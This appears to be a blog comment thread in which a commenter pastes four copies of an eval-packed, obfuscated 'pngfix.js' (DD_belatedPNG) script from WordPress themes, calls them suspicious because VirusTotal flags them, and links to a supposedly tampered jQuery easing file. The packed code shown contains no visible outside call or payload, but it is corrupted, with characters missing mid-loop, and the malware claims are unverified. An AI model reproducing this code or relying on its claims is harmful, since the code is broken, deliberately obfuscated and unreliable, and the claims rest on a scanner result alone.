eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 E={J:\'E\',Z:{},1E:7(){4(x.1l&&!x.1l[6.J]){x.1l.23(6.J,\'24:25-26-27:3\')}4(1F.11){1F.11(\'28\',7(){E=29})}},1G:7(){2 a=x.1m(\'8\');x.1H.1b.1n(a,x.1H.1b.1b);2 b=a.1o;b.1c(6.J+\'\\\\:*\',\'{12:2a(#1I#2b)}\');b.1c(6.J+\'\\\\:9\',\'Q:1p;\');b.1c(\'1J.\'+6.J+\'1K\',\'12:y; 1q:y; Q:1p; z-2c:-1; 1d:-1r; 1L:1M;\');6.1o=b},1N:7(){2 a=13.2d;4(13.1e.K(\'2e\')!=-1||13.1e.K(\'1q\')!=-1){E.1f(a)}4(13.1e==\'8.1s\'){2 b=(a.F.1s==\'y\')?\'y\':\'2f\';G(2 v M a.3){a.3[v].9.8.1s=b}}4(13.1e.K(\'14\')!=-1){E.1t(a)}},1t:7(a){4(a.F.14.K(\'2g\')!=-1){2 b=a.F.14;b=1u(b.2h(b.1v(\'=\')+1,b.1v(\')\')),10)/2i;a.3.N.9.8.14=a.F.14;a.3.C.I.2j=b}},15:7(a){2k(7(){E.1f(a)},1)},2l:7(a){2 b=a.1O(\',\');G(2 i=0;ig.H){c.B=g.H}e.3.C.9.8.1Z=\'20(\'+c.T+\'u \'+(c.R+i)+\'u \'+c.B+\'u \'+(c.L+i)+\'u)\'}U{e.3.C.9.8.1Z=\'20(\'+p.T+\'u \'+p.R+\'u \'+p.B+\'u \'+p.L+\'u)\'}},1P:7(a){a.8.12=\'y\';4(a.17==\'32\'||a.17==\'33\'||a.17==\'34\'){1g}a.O=V;4(a.17==\'35\'){4(a.1h.21().K(/\\.22$/)!=-1){a.O=P;a.8.1L=\'1M\'}U{1g}}U 4(a.F.19.21().K(\'.22\')==-1){1g}2 b=E;a.3={N:{},C:{}};2 c={9:{},I:{}};G(2 r M a.3){G(2 e M c){2 d=b.J+\':\'+e;a.3[r][e]=x.1m(d)}a.3[r].9.36=V;a.3[r].9.37(a.3[r].I);a.38.1n(a.3[r].9,a)}a.3.C.9.39=\'y\';a.3.C.I.3a=\'3b\';a.3.N.I.1w=V;b.1T(a);b.1x(a);b.1x(a.3c);b.1f(a)}};3d{x.3e("3f",V,P)}3g(r){}E.1E();E.1G();',62,203,'||var|vml|if||this|function|style|shape|||||||||||||||||||||px|||document|none||||image|vmlBg|DD_belatedPNG|currentStyle|for||fill|ns|search||in|color|isImg|true|position||runtimeStyle||else|false||||imgSize||attachEvent|behavior|event|filter|handlePseudoHover|vmlOffsets|nodeName|backgroundColor|backgroundImage|case|firstChild|addRule|top|propertyName|applyVML|return|src|width|height|bLW|namespaces|createElement|insertBefore|styleSheet|absolute|border|10000px|display|vmlOpacity|parseInt|lastIndexOf|on|giveLayout|left|bTW|break|b1|b2|repeat|createVmlNameSpace|window|createVmlStyleSheet|documentElement|default|img|_sizeFinder|visibility|hidden|readPropertyChange|split|fixPng|cssText|vmlFill|copyImageBorders|attachHandlers|zIndex|transparent|removeAttribute|body|0l|clip|rect|toLowerCase|png|add|urn|schemas|microsoft|com|onbeforeunload|null|url|VML|index|srcElement|background|block|lpha|substring|100|opacity|setTimeout|fix|length|expression|resize|move|mouseleave|mouseenter|focus|blur|onpropertychange|zoom|static|relative|borderStyle|borderWidth|borderColor|substr|className|onload|offsetWidth|offsetHeight|clientWidth|clientHeight|offsetLeft|offsetTop|clientLeft|clientTop|coordsize|coordorigin|path|m0|l0|xe|switch|center|right|bottom|01|Math|ceil|backgroundPosition|backgroundRepeat|toUpperCase|BODY|TD|TR|IMG|stroked|appendChild|parentNode|fillcolor|type|tile|offsetParent|try|execCommand|BackgroundImageCache|catch'.split('|'),0,{}))
/* ADD YOUR CLASSES HERE e.g. #footer .rss, .cuteicon, .etc */
DD_belatedPNG.fix('');
/* string argument can be any CSS selector */
/* change it to what suits you! */
pngfix.js 2 (part of a plugin)
ReplyDelete==============
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 E={J:\'E\',Z:{},1E:7(){4(x.1l&&!x.1l[6.J]){x.1l.23(6.J,\'24:25-26-27:3\')}4(1F.11){1F.11(\'28\',7(){E=29})}},1G:7(){2 a=x.1m(\'8\');x.1H.1b.1n(a,x.1H.1b.1b);2 b=a.1o;b.1c(6.J+\'\\\\:*\',\'{12:2a(#1I#2b)}\');b.1c(6.J+\'\\\\:9\',\'Q:1p;\');b.1c(\'1J.\'+6.J+\'1K\',\'12:y; 1q:y; Q:1p; z-2c:-1; 1d:-1r; 1L:1M;\');6.1o=b},1N:7(){2 a=13.2d;4(13.1e.K(\'2e\')!=-1||13.1e.K(\'1q\')!=-1){E.1f(a)}4(13.1e==\'8.1s\'){2 b=(a.F.1s==\'y\')?\'y\':\'2f\';G(2 v M a.3){a.3[v].9.8.1s=b}}4(13.1e.K(\'14\')!=-1){E.1t(a)}},1t:7(a){4(a.F.14.K(\'2g\')!=-1){2 b=a.F.14;b=1u(b.2h(b.1v(\'=\')+1,b.1v(\')\')),10)/2i;a.3.N.9.8.14=a.F.14;a.3.C.I.2j=b}},15:7(a){2k(7(){E.1f(a)},1)},2l:7(a){2 b=a.1O(\',\');G(2 i=0;ig.H){c.B=g.H}e.3.C.9.8.1Z=\'20(\'+c.T+\'u \'+(c.R+i)+\'u \'+c.B+\'u \'+(c.L+i)+\'u)\'}U{e.3.C.9.8.1Z=\'20(\'+p.T+\'u \'+p.R+\'u \'+p.B+\'u \'+p.L+\'u)\'}},1P:7(a){a.8.12=\'y\';4(a.17==\'32\'||a.17==\'33\'||a.17==\'34\'){1g}a.O=V;4(a.17==\'35\'){4(a.1h.21().K(/\\.22$/)!=-1){a.O=P;a.8.1L=\'1M\'}U{1g}}U 4(a.F.19.21().K(\'.22\')==-1){1g}2 b=E;a.3={N:{},C:{}};2 c={9:{},I:{}};G(2 r M a.3){G(2 e M c){2 d=b.J+\':\'+e;a.3[r][e]=x.1m(d)}a.3[r].9.36=V;a.3[r].9.37(a.3[r].I);a.38.1n(a.3[r].9,a)}a.3.C.9.39=\'y\';a.3.C.I.3a=\'3b\';a.3.N.I.1w=V;b.1T(a);b.1x(a);b.1x(a.3c);b.1f(a)}};3d{x.3e("3f",V,P)}3g(r){}E.1E();E.1G();',62,203,'||var|vml|if||this|function|style|shape|||||||||||||||||||||px|||document|none||||image|vmlBg|DD_belatedPNG|currentStyle|for||fill|ns|search||in|color|isImg|true|position||runtimeStyle||else|false||||imgSize||attachEvent|behavior|event|filter|handlePseudoHover|vmlOffsets|nodeName|backgroundColor|backgroundImage|case|firstChild|addRule|top|propertyName|applyVML|return|src|width|height|bLW|namespaces|createElement|insertBefore|styleSheet|absolute|border|10000px|display|vmlOpacity|parseInt|lastIndexOf|on|giveLayout|left|bTW|break|b1|b2|repeat|createVmlNameSpace|window|createVmlStyleSheet|documentElement|default|img|_sizeFinder|visibility|hidden|readPropertyChange|split|fixPng|cssText|vmlFill|copyImageBorders|attachHandlers|zIndex|transparent|removeAttribute|body|0l|clip|rect|toLowerCase|png|add|urn|schemas|microsoft|com|onbeforeunload|null|url|VML|index|srcElement|background|block|lpha|substring|100|opacity|setTimeout|fix|length|expression|resize|move|mouseleave|mouseenter|focus|blur|onpropertychange|zoom|static|relative|borderStyle|borderWidth|borderColor|substr|className|onload|offsetWidth|offsetHeight|clientWidth|clientHeight|offsetLeft|offsetTop|clientLeft|clientTop|coordsize|coordorigin|path|m0|l0|xe|switch|center|right|bottom|01|Math|ceil|backgroundPosition|backgroundRepeat|toUpperCase|BODY|TD|TR|IMG|stroked|appendChild|parentNode|fillcolor|type|tile|offsetParent|try|execCommand|BackgroundImageCache|catch'.split('|'),0,{}))
/* ADD YOUR CLASSES HERE e.g. #footer .rss, .cuteicon, .etc */
DD_belatedPNG.fix('');
/* string argument can be any CSS selector */
/* change it to what suits you! */
pngfix.js 3 (part of the same plugin mentioned above
ReplyDelete===========
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 E={J:\'E\',Z:{},1E:7(){4(x.1l&&!x.1l[6.J]){x.1l.23(6.J,\'24:25-26-27:3\')}4(1F.11){1F.11(\'28\',7(){E=29})}},1G:7(){2 a=x.1m(\'8\');x.1H.1b.1n(a,x.1H.1b.1b);2 b=a.1o;b.1c(6.J+\'\\\\:*\',\'{12:2a(#1I#2b)}\');b.1c(6.J+\'\\\\:9\',\'Q:1p;\');b.1c(\'1J.\'+6.J+\'1K\',\'12:y; 1q:y; Q:1p; z-2c:-1; 1d:-1r; 1L:1M;\');6.1o=b},1N:7(){2 a=13.2d;4(13.1e.K(\'2e\')!=-1||13.1e.K(\'1q\')!=-1){E.1f(a)}4(13.1e==\'8.1s\'){2 b=(a.F.1s==\'y\')?\'y\':\'2f\';G(2 v M a.3){a.3[v].9.8.1s=b}}4(13.1e.K(\'14\')!=-1){E.1t(a)}},1t:7(a){4(a.F.14.K(\'2g\')!=-1){2 b=a.F.14;b=1u(b.2h(b.1v(\'=\')+1,b.1v(\')\')),10)/2i;a.3.N.9.8.14=a.F.14;a.3.C.I.2j=b}},15:7(a){2k(7(){E.1f(a)},1)},2l:7(a){2 b=a.1O(\',\');G(2 i=0;ig.H){c.B=g.H}e.3.C.9.8.1Z=\'20(\'+c.T+\'u \'+(c.R+i)+\'u \'+c.B+\'u \'+(c.L+i)+\'u)\'}U{e.3.C.9.8.1Z=\'20(\'+p.T+\'u \'+p.R+\'u \'+p.B+\'u \'+p.L+\'u)\'}},1P:7(a){a.8.12=\'y\';4(a.17==\'32\'||a.17==\'33\'||a.17==\'34\'){1g}a.O=V;4(a.17==\'35\'){4(a.1h.21().K(/\\.22$/)!=-1){a.O=P;a.8.1L=\'1M\'}U{1g}}U 4(a.F.19.21().K(\'.22\')==-1){1g}2 b=E;a.3={N:{},C:{}};2 c={9:{},I:{}};G(2 r M a.3){G(2 e M c){2 d=b.J+\':\'+e;a.3[r][e]=x.1m(d)}a.3[r].9.36=V;a.3[r].9.37(a.3[r].I);a.38.1n(a.3[r].9,a)}a.3.C.9.39=\'y\';a.3.C.I.3a=\'3b\';a.3.N.I.1w=V;b.1T(a);b.1x(a);b.1x(a.3c);b.1f(a)}};3d{x.3e("3f",V,P)}3g(r){}E.1E();E.1G();',62,203,'||var|vml|if||this|function|style|shape|||||||||||||||||||||px|||document|none||||image|vmlBg|DD_belatedPNG|currentStyle|for||fill|ns|search||in|color|isImg|true|position||runtimeStyle||else|false||||imgSize||attachEvent|behavior|event|filter|handlePseudoHover|vmlOffsets|nodeName|backgroundColor|backgroundImage|case|firstChild|addRule|top|propertyName|applyVML|return|src|width|height|bLW|namespaces|createElement|insertBefore|styleSheet|absolute|border|10000px|display|vmlOpacity|parseInt|lastIndexOf|on|giveLayout|left|bTW|break|b1|b2|repeat|createVmlNameSpace|window|createVmlStyleSheet|documentElement|default|img|_sizeFinder|visibility|hidden|readPropertyChange|split|fixPng|cssText|vmlFill|copyImageBorders|attachHandlers|zIndex|transparent|removeAttribute|body|0l|clip|rect|toLowerCase|png|add|urn|schemas|microsoft|com|onbeforeunload|null|url|VML|index|srcElement|background|block|lpha|substring|100|opacity|setTimeout|fix|length|expression|resize|move|mouseleave|mouseenter|focus|blur|onpropertychange|zoom|static|relative|borderStyle|borderWidth|borderColor|substr|className|onload|offsetWidth|offsetHeight|clientWidth|clientHeight|offsetLeft|offsetTop|clientLeft|clientTop|coordsize|coordorigin|path|m0|l0|xe|switch|center|right|bottom|01|Math|ceil|backgroundPosition|backgroundRepeat|toUpperCase|BODY|TD|TR|IMG|stroked|appendChild|parentNode|fillcolor|type|tile|offsetParent|try|execCommand|BackgroundImageCache|catch'.split('|'),0,{}))
/* ADD YOUR CLASSES HERE e.g. #footer .rss, .cuteicon, .etc */
DD_belatedPNG.fix('img, #page-nav, #navigation ul.rss, #twitter-top div.tweet, #twitter-top .logo, .box, #footer-widgets .container, a.btn');
/* string argument can be any CSS selector */
/* change it to what suits you! */
[code]
ReplyDeletepngfix.js 4 (part of the same plugin mentioned above)
=========
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 E={J:\'E\',Z:{},1E:7(){4(x.1l&&!x.1l[6.J]){x.1l.23(6.J,\'24:25-26-27:3\')}4(1F.11){1F.11(\'28\',7(){E=29})}},1G:7(){2 a=x.1m(\'8\');x.1H.1b.1n(a,x.1H.1b.1b);2 b=a.1o;b.1c(6.J+\'\\\\:*\',\'{12:2a(#1I#2b)}\');b.1c(6.J+\'\\\\:9\',\'Q:1p;\');b.1c(\'1J.\'+6.J+\'1K\',\'12:y; 1q:y; Q:1p; z-2c:-1; 1d:-1r; 1L:1M;\');6.1o=b},1N:7(){2 a=13.2d;4(13.1e.K(\'2e\')!=-1||13.1e.K(\'1q\')!=-1){E.1f(a)}4(13.1e==\'8.1s\'){2 b=(a.F.1s==\'y\')?\'y\':\'2f\';G(2 v M a.3){a.3[v].9.8.1s=b}}4(13.1e.K(\'14\')!=-1){E.1t(a)}},1t:7(a){4(a.F.14.K(\'2g\')!=-1){2 b=a.F.14;b=1u(b.2h(b.1v(\'=\')+1,b.1v(\')\')),10)/2i;a.3.N.9.8.14=a.F.14;a.3.C.I.2j=b}},15:7(a){2k(7(){E.1f(a)},1)},2l:7(a){2 b=a.1O(\',\');G(2 i=0;ig.H){c.B=g.H}e.3.C.9.8.1Z=\'20(\'+c.T+\'u \'+(c.R+i)+\'u \'+c.B+\'u \'+(c.L+i)+\'u)\'}U{e.3.C.9.8.1Z=\'20(\'+p.T+\'u \'+p.R+\'u \'+p.B+\'u \'+p.L+\'u)\'}},1P:7(a){a.8.12=\'y\';4(a.17==\'32\'||a.17==\'33\'||a.17==\'34\'){1g}a.O=V;4(a.17==\'35\'){4(a.1h.21().K(/\\.22$/)!=-1){a.O=P;a.8.1L=\'1M\'}U{1g}}U 4(a.F.19.21().K(\'.22\')==-1){1g}2 b=E;a.3={N:{},C:{}};2 c={9:{},I:{}};G(2 r M a.3){G(2 e M c){2 d=b.J+\':\'+e;a.3[r][e]=x.1m(d)}a.3[r].9.36=V;a.3[r].9.37(a.3[r].I);a.38.1n(a.3[r].9,a)}a.3.C.9.39=\'y\';a.3.C.I.3a=\'3b\';a.3.N.I.1w=V;b.1T(a);b.1x(a);b.1x(a.3c);b.1f(a)}};3d{x.3e("3f",V,P)}3g(r){}E.1E();E.1G();',62,203,'||var|vml|if||this|function|style|shape|||||||||||||||||||||px|||document|none||||image|vmlBg|DD_belatedPNG|currentStyle|for||fill|ns|search||in|color|isImg|true|position||runtimeStyle||else|false||||imgSize||attachEvent|behavior|event|filter|handlePseudoHover|vmlOffsets|nodeName|backgroundColor|backgroundImage|case|firstChild|addRule|top|propertyName|applyVML|return|src|width|height|bLW|namespaces|createElement|insertBefore|styleSheet|absolute|border|10000px|display|vmlOpacity|parseInt|lastIndexOf|on|giveLayout|left|bTW|break|b1|b2|repeat|createVmlNameSpace|window|createVmlStyleSheet|documentElement|default|img|_sizeFinder|visibility|hidden|readPropertyChange|split|fixPng|cssText|vmlFill|copyImageBorders|attachHandlers|zIndex|transparent|removeAttribute|body|0l|clip|rect|toLowerCase|png|add|urn|schemas|microsoft|com|onbeforeunload|null|url|VML|index|srcElement|background|block|lpha|substring|100|opacity|setTimeout|fix|length|expression|resize|move|mouseleave|mouseenter|focus|blur|onpropertychange|zoom|static|relative|borderStyle|borderWidth|borderColor|substr|className|onload|offsetWidth|offsetHeight|clientWidth|clientHeight|offsetLeft|offsetTop|clientLeft|clientTop|coordsize|coordorigin|path|m0|l0|xe|switch|center|right|bottom|01|Math|ceil|backgroundPosition|backgroundRepeat|toUpperCase|BODY|TD|TR|IMG|stroked|appendChild|parentNode|fillcolor|type|tile|offsetParent|try|execCommand|BackgroundImageCache|catch'.split('|'),0,{}))
/* ADD YOUR CLASSES HERE e.g. #footer .rss, .cuteicon, .etc */
DD_belatedPNG.fix('img');
/* string argument can be any CSS selector */
/* change it to what suits you! */
[/code]
The fifth variation is clean according to virustotal.com. Also code is different and long and can't fit into the comments form. So I am not posting it.
ReplyDeleteIncidentally I tried to code [code][/code]the script but that is not possible within the comments form.
Thanks
JJ
(30day challenge1@ gmail.com)Pl remove spaces
Found another mischievous code. It is called jquery.easing.1.3.pack.js. it is part of fancybox and the manipulated code is posted here, so I am not copying it from my folders but instead providing an online link
ReplyDeletehttp:// www. bvbcode. com/code/ n7myqs8t-883609
Checked around. Friends found it in themes as well as plugins
What does it mean since there seems to be no redirect address. Virustotal does however say it is virus/trojan